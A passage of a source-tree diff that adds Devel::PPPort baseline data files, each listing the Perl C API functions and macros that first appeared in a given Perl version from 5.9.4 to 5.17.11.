+PERLIO_FUNCS_CAST # added by devel/scanprov
+PERLIO_FUNCS_DECL # added by devel/scanprov
+PERL_UNUSED_ARG # added by devel/scanprov
+PTR2nat # added by devel/scanprov
+STR_WITH_LEN # added by devel/scanprov
+SV_CONST_RETURN # added by devel/scanprov
+SV_MUTABLE_RETURN # added by devel/scanprov
+SV_SMAGIC # added by devel/scanprov
+SvPVX_const # added by devel/scanprov
+SvPVX_mutable # added by devel/scanprov
+SvPV_const # added by devel/scanprov
+SvPV_flags_const # added by devel/scanprov
+SvPV_flags_const_nolen # added by devel/scanprov
+SvPV_flags_mutable # added by devel/scanprov
+SvPV_force_flags_mutable # added by devel/scanprov
+SvPV_force_flags_nolen # added by devel/scanprov
+SvPV_force_mutable # added by devel/scanprov
+SvPV_force_nolen # added by devel/scanprov
+SvPV_force_nomg_nolen # added by devel/scanprov
+SvPV_mutable # added by devel/scanprov
+SvPV_nolen_const # added by devel/scanprov
+SvPV_nomg_const # added by devel/scanprov
+SvPV_nomg_const_nolen # added by devel/scanprov
+SvPV_renew # added by devel/scanprov
+SvSHARED_HASH # added by devel/scanprov
+dVAR # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009004
new file mode 100644
index 00000000000..5a2f6b8ba7d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009004
@@ -0,0 +1,42 @@
+5.009004
+PerlIO_context_layers # U
+PoisonFree # E
+PoisonNew # E
+PoisonWith # E
+SvREFCNT_inc_NN # U
+SvREFCNT_inc_simple # U
+SvREFCNT_inc_simple_NN # U
+SvREFCNT_inc_simple_void # U
+SvREFCNT_inc_simple_void_NN # U
+SvREFCNT_inc_void # U
+SvREFCNT_inc_void_NN # U
+gv_name_set # U
+hv_copy_hints_hv # U
+hv_stores # U
+my_snprintf # U
+my_strlcat # U
+my_strlcpy # U
+my_vsnprintf # U
+newXS_flags # U
+pv_escape # U
+pv_pretty # U
+regclass_swash # E (Perl_regclass_swash)
+sv_does # U
+sv_setpvs # U
+sv_usepvn_flags # U
+PERL_PV_ESCAPE_ALL # added by devel/scanprov
+PERL_PV_ESCAPE_FIRSTCHAR # added by devel/scanprov
+PERL_PV_ESCAPE_NOBACKSLASH # added by devel/scanprov
+PERL_PV_ESCAPE_NOCLEAR # added by devel/scanprov
+PERL_PV_ESCAPE_QUOTE # added by devel/scanprov
+PERL_PV_ESCAPE_UNI # added by devel/scanprov
+PERL_PV_ESCAPE_UNI_DETECT # added by devel/scanprov
+PERL_PV_PRETTY_DUMP # added by devel/scanprov
+PERL_PV_PRETTY_LTGT # added by devel/scanprov
+PERL_PV_PRETTY_QUOTE # added by devel/scanprov
+PERL_PV_PRETTY_REGPROP # added by devel/scanprov
+PERL_UNUSED_CONTEXT # added by devel/scanprov
+PERL_USE_GCC_BRACE_GROUPS # added by devel/scanprov
+SV_HAS_TRAILING_NUL # added by devel/scanprov
+SvVSTRING_mg # added by devel/scanprov
+gv_fetchpvs # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009005
new file mode 100644
index 00000000000..8ddae03de6f
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009005
@@ -0,0 +1,37 @@
+5.009005
+PL_parser # E
+Perl_signbit # U
+SvRX # U
+SvRXOK # U
+av_create_and_push # U
+av_create_and_unshift_one # U
+get_cvn_flags # U
+gv_fetchfile_flags # U
+lex_start # E (Perl_lex_start)
+mro_get_linear_isa # U
+mro_method_changed_in # U
+my_dirfd # U
+newSV_type # U
+pregcomp # E (Perl_pregcomp)
+ptr_table_clear # U
+ptr_table_fetch # U
+ptr_table_free # U
+ptr_table_new # U
+ptr_table_split # U
+ptr_table_store # U
+re_compile # U
+reg_named_buff_all # U
+reg_named_buff_exists # U
+reg_named_buff_fetch # U
+reg_named_buff_firstkey # U
+reg_named_buff_nextkey # U
+reg_named_buff_scalar # U
+regfree_internal # U
+savesharedpvn # U
+scan_vstring # E (Perl_scan_vstring)
+upg_version # E (Perl_upg_version)
+PERL_PV_ESCAPE_RE # added by devel/scanprov
+SV_COW_SHARED_HASH_KEYS # added by devel/scanprov
+SVfARG # added by devel/scanprov
+memEQs # added by devel/scanprov
+memNEs # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5010000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5010000
new file mode 100644
index 00000000000..922e6141592
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5010000
@@ -0,0 +1,10 @@
+5.010000
+hv_common # U
+hv_common_key_len # U
+sv_destroyable # U
+sys_init # U
+sys_init3 # U
+sys_term # U
+PERL_PV_PRETTY_ELLIPSES # added by devel/scanprov
+PERL_PV_PRETTY_NOCLEAR # added by devel/scanprov
+XSPROTO # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5010001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5010001
new file mode 100644
index 00000000000..61012f7d588
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5010001
@@ -0,0 +1,22 @@
+5.010001
+HeUTF8 # U
+croak_xs_usage # U
+mPUSHs # U
+mXPUSHs # U
+mro_get_from_name # U
+mro_get_private_data # U
+mro_register # U
+mro_set_mro # U
+mro_set_private_data # U
+newSVpvn_flags # U
+newSVpvn_utf8 # U
+newSVpvs_flags # U
+save_hints # U
+save_padsv_and_mortalize # U
+save_pushi32ptr # U
+save_pushptr # U
+save_pushptrptr # U
+sv_insert_flags # U
+DEFSV_set # added by devel/scanprov
+MUTABLE_PTR # added by devel/scanprov
+MUTABLE_SV # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011000
new file mode 100644
index 00000000000..1f499d99e07
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011000
@@ -0,0 +1,15 @@
+5.011000
+Gv_AMupdate # E (Perl_Gv_AMupdate)
+PL_opfreehook # E
+SVt_REGEXP # E
+SvOOK_offset # U
+av_iter_p # U
+gv_add_by_type # U
+is_ascii_string # U
+pregfree2 # U
+save_adelete # U
+save_aelem_flags # U
+save_hdelete # U
+save_helem_flags # U
+sv_utf8_upgrade_flags_grow # U
+get_cvs # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011001
new file mode 100644
index 00000000000..f42409363b7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011001
@@ -0,0 +1,6 @@
+5.011001
+ck_warner # U
+ck_warner_d # U
+is_utf8_perl_space # U
+is_utf8_perl_word # U
+is_utf8_posix_digit # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011002
new file mode 100644
index 00000000000..df12d99fd62
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011002
@@ -0,0 +1,13 @@
+5.011002
+PL_keyword_plugin # E
+lex_bufutf8 # U
+lex_discard_to # U
+lex_grow_linestr # U
+lex_next_chunk # U
+lex_peek_unichar # U
+lex_read_space # U
+lex_read_to # U
+lex_read_unichar # U
+lex_stuff_pvn # U
+lex_stuff_sv # U
+lex_unstuff # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011003
new file mode 100644
index 00000000000..3fd94ca1b60
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011003
@@ -0,0 +1 @@
+5.011003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011004
new file mode 100644
index 00000000000..86c1fce4f2a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011004
@@ -0,0 +1,2 @@
+5.011004
+prescan_version # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011005
new file mode 100644
index 00000000000..d9b0d6a4c94
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5011005
@@ -0,0 +1,2 @@
+5.011005
+sv_pos_u2b_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012000
new file mode 100644
index 00000000000..82cbce2d6d9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012000
@@ -0,0 +1 @@
+5.012000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012001
new file mode 100644
index 00000000000..90dc03fdf35
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012001
@@ -0,0 +1 @@
+5.012001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012002
new file mode 100644
index 00000000000..8ab87f08d8a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012002
@@ -0,0 +1 @@
+5.012002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012003
new file mode 100644
index 00000000000..f2abab4c17c
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012003
@@ -0,0 +1 @@
+5.012003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012004
new file mode 100644
index 00000000000..e7319cd5663
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012004
@@ -0,0 +1 @@
+5.012004
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012005
new file mode 100644
index 00000000000..5af01305efd
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5012005
@@ -0,0 +1 @@
+5.012005
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013000
new file mode 100644
index 00000000000..8a31cc7f3e8
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013000
@@ -0,0 +1,2 @@
+5.013000
+cBOOL # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013001
new file mode 100644
index 00000000000..679bf3c35e5
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013001
@@ -0,0 +1,6 @@
+5.013001
+croak_sv # U
+die_sv # U
+mess_sv # U
+sv_2nv_flags # U
+warn_sv # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013002
new file mode 100644
index 00000000000..5058d1e4041
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013002
@@ -0,0 +1,10 @@
+5.013002
+SvNV_nomg # U
+find_rundefsv # U
+foldEQ # U
+foldEQ_locale # U
+foldEQ_utf8 # U
+hv_fill # U
+sv_dec_nomg # U
+sv_inc_nomg # U
+C_ARRAY_END # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013003
new file mode 100644
index 00000000000..5e04f03c8a5
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013003
@@ -0,0 +1,3 @@
+5.013003
+blockhook_register # E
+croak_no_modify # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013004
new file mode 100644
index 00000000000..8aac89eb8d4
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013004
@@ -0,0 +1 @@
+5.013004
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013005
new file mode 100644
index 00000000000..88c7c7b80b4
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013005
@@ -0,0 +1,6 @@
+5.013005
+PL_rpeepp # E
+caller_cx # U
+isOCTAL # U
+lex_stuff_pvs # U
+parse_fullstmt # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013006
new file mode 100644
index 00000000000..d145f368393
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013006
@@ -0,0 +1,32 @@
+5.013006
+LINKLIST # U
+SvTRUE_nomg # U
+ck_entersub_args_list # U
+ck_entersub_args_proto # U
+ck_entersub_args_proto_or_list # U
+cv_get_call_checker # E
+cv_set_call_checker # E
+isWORDCHAR # U
+lex_stuff_pv # U
+mg_free_type # U
+newSVpv_share # U
+op_append_elem # U
+op_append_list # U
+op_contextualize # U
+op_linklist # U
+op_prepend_elem # U
+parse_stmtseq # U
+rv2cv_op_cv # U
+savesharedpvs # U
+savesharedsvpv # U
+sv_2bool_flags # U
+sv_catpv_flags # U
+sv_catpv_nomg # U
+sv_catpvs_flags # U
+sv_catpvs_mg # U
+sv_catpvs_nomg # U
+sv_cmp_flags # U
+sv_cmp_locale_flags # U
+sv_collxfrm_flags # U
+sv_eq_flags # U
+sv_setpvs_mg # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013007
new file mode 100644
index 00000000000..79a9a5f44a1
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013007
@@ -0,0 +1,36 @@
+5.013007
+HvENAME # U
+OP_CLASS # U
+SvPV_nomg_nolen # U
+XopFLAGS # E
+amagic_deref_call # U
+bytes_cmp_utf8 # U
+cop_hints_2hv # A
+cop_hints_fetch_pv # U
+cop_hints_fetch_pvn # U
+cop_hints_fetch_pvs # U
+cop_hints_fetch_sv # U
+cophh_2hv # E
+cophh_copy # E
+cophh_delete_pv # E
+cophh_delete_pvn # E
+cophh_delete_pvs # E
+cophh_delete_sv # E
+cophh_fetch_pv # E
+cophh_fetch_pvn # E
+cophh_fetch_pvs # E
+cophh_fetch_sv # E
+cophh_free # E
+cophh_store_pv # E
+cophh_store_pvn # E
+cophh_store_pvs # E
+cophh_store_sv # E
+custom_op_register # E
+custom_op_xop # E
+newFOROP # A
+newWHILEOP # A
+op_lvalue # U
+op_scope # U
+parse_barestmt # U
+parse_block # U
+parse_label # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013008
new file mode 100644
index 00000000000..5c315d671ba
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013008
@@ -0,0 +1,8 @@
+5.013008
+foldEQ_latin1 # U
+mg_findext # U
+parse_arithexpr # U
+parse_fullexpr # U
+parse_listexpr # U
+parse_termexpr # U
+sv_unmagicext # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013009
new file mode 100644
index 00000000000..51160ae344d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013009
@@ -0,0 +1 @@
+5.013009
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013010 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013010
new file mode 100644
index 00000000000..d7f4365bfb1
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013010
@@ -0,0 +1,4 @@
+5.013010
+foldEQ_utf8_flags # U
+is_utf8_xidcont # U
+is_utf8_xidfirst # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013011 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013011
new file mode 100644
index 00000000000..a33715f749e
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5013011
@@ -0,0 +1 @@
+5.013011
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014000
new file mode 100644
index 00000000000..3f837ef4d0d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014000
@@ -0,0 +1,2 @@
+5.014000
+_to_uni_fold_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014001
new file mode 100644
index 00000000000..098fb03c9f4
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014001
@@ -0,0 +1 @@
+5.014001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014002
new file mode 100644
index 00000000000..f280bd0f4f7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014002
@@ -0,0 +1 @@
+5.014002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014003
new file mode 100644
index 00000000000..333e50d1db2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014003
@@ -0,0 +1 @@
+5.014003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014004
new file mode 100644
index 00000000000..1618e365ea4
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5014004
@@ -0,0 +1 @@
+5.014004
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015000
new file mode 100644
index 00000000000..d8c6546d720
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015000
@@ -0,0 +1 @@
+5.015000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015001
new file mode 100644
index 00000000000..144926b1244
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015001
@@ -0,0 +1,11 @@
+5.015001
+cop_fetch_label # U
+cop_store_label # U
+pad_add_name_pv # U
+pad_add_name_pvn # U
+pad_add_name_pvs # U
+pad_add_name_sv # U
+pad_findmy_pv # U
+pad_findmy_pvn # U
+pad_findmy_pvs # U
+pad_findmy_sv # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015002
new file mode 100644
index 00000000000..06741283d1d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015002
@@ -0,0 +1 @@
+5.015002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015003
new file mode 100644
index 00000000000..7f33df71289
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015003
@@ -0,0 +1 @@
+5.015003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015004
new file mode 100644
index 00000000000..516327e6505
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015004
@@ -0,0 +1,32 @@
+5.015004
+HvENAMELEN # U
+HvENAMEUTF8 # U
+HvNAMELEN # U
+HvNAMEUTF8 # U
+gv_autoload_pv # U
+gv_autoload_pvn # U
+gv_autoload_sv # U
+gv_fetchmeth_pv # U
+gv_fetchmeth_pv_autoload # U
+gv_fetchmeth_pvn # U
+gv_fetchmeth_pvn_autoload # U
+gv_fetchmeth_sv # U
+gv_fetchmeth_sv_autoload # U
+gv_fetchmethod_pv_flags # U
+gv_fetchmethod_pvn_flags # U
+gv_fetchmethod_sv_flags # U
+gv_init_pv # U
+gv_init_pvn # U
+gv_init_sv # U
+newGVgen_flags # U
+sv_derived_from_pv # U
+sv_derived_from_pvn # U
+sv_derived_from_sv # U
+sv_does_pv # U
+sv_does_pvn # U
+sv_does_sv # U
+sv_ref # U
+whichsig_pv # U
+whichsig_pvn # U
+whichsig_sv # U
+WIDEST_UTYPE # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015005
new file mode 100644
index 00000000000..1908a935e3d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015005
@@ -0,0 +1 @@
+5.015005
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015006
new file mode 100644
index 00000000000..4fb3c7c5901
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015006
@@ -0,0 +1,2 @@
+5.015006
+newCONSTSUB_flags # A
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015007
new file mode 100644
index 00000000000..ce9078968a1
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015007
@@ -0,0 +1,8 @@
+5.015007
+toLOWER_utf8 # U
+toTITLE_utf8 # U
+toUPPER_utf8 # U
+to_utf8_fold # U
+to_utf8_lower # U
+to_utf8_title # U
+to_utf8_upper # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015008
new file mode 100644
index 00000000000..14c640388c7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015008
@@ -0,0 +1,3 @@
+5.015008
+is_utf8_char_buf # U
+wrap_op_checker # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015009
new file mode 100644
index 00000000000..30537f0445e
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5015009
@@ -0,0 +1,5 @@
+5.015009
+utf8_to_uvchr_buf # U
+utf8_to_uvuni_buf # U
+valid_utf8_to_uvchr # U
+valid_utf8_to_uvuni # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5016000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5016000
new file mode 100644
index 00000000000..3bd46b73620
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5016000
@@ -0,0 +1 @@
+5.016000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5016001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5016001
new file mode 100644
index 00000000000..5e2b46c7762
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5016001
@@ -0,0 +1 @@
+5.016001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5016002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5016002
new file mode 100644
index 00000000000..dfd939f6843
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5016002
@@ -0,0 +1 @@
+5.016002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5016003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5016003
new file mode 100644
index 00000000000..88e54eb950f
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5016003
@@ -0,0 +1 @@
+5.016003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017000
new file mode 100644
index 00000000000..bf56b9a68af
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017000
@@ -0,0 +1 @@
+5.017000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017001
new file mode 100644
index 00000000000..6c9994352af
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017001
@@ -0,0 +1 @@
+5.017001
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017002
new file mode 100644
index 00000000000..fd825e14bcd
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017002
@@ -0,0 +1,7 @@
+5.017002
+is_uni_blank # U
+is_uni_blank_lc # U
+is_utf8_blank # U
+sv_copypv_flags # U
+sv_copypv_nomg # U
+sv_vcatpvfn_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017003
new file mode 100644
index 00000000000..50227645479
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017003
@@ -0,0 +1 @@
+5.017003
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017004
new file mode 100644
index 00000000000..02021258887
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017004
@@ -0,0 +1,5 @@
+5.017004
+PL_comppad_name # E
+PadlistREFCNT # U
+newMYSUB # E (Perl_newMYSUB)
+newSVpadname # E
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017005
new file mode 100644
index 00000000000..31dfb1c3838
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017005
@@ -0,0 +1 @@
+5.017005
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017006
new file mode 100644
index 00000000000..0bb24862396
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017006
@@ -0,0 +1,2 @@
+5.017006
+READ_XDIGIT # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017007
new file mode 100644
index 00000000000..c95c23505f2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017007
@@ -0,0 +1,7 @@
+5.017007
+SvREFCNT_dec_NN # U
+_is_uni_perl_idstart # U
+_is_utf8_perl_idstart # U
+is_uni_alnumc # U
+is_uni_alnumc_lc # U
+is_utf8_alnumc # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017008
new file mode 100644
index 00000000000..9228a1506d0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017008
@@ -0,0 +1,8 @@
+5.017008
+_is_uni_FOO # U
+_is_uni_perl_idcont # U
+_is_utf8_FOO # U
+_is_utf8_mark # U
+_is_utf8_perl_idcont # U
+isALPHANUMERIC # U
+isIDCONT # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017009
new file mode 100644
index 00000000000..fd728270400
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017009
@@ -0,0 +1,3 @@
+5.017009
+av_tindex # U
+av_top_index # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017010 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017010
new file mode 100644
index 00000000000..fed2762e9b6
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017010
@@ -0,0 +1 @@
+5.017010
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017011 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017011
new file mode 100644
index 00000000000..5fcf0516810
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5017011
@@ -0,0 +1 @@
+5.017011
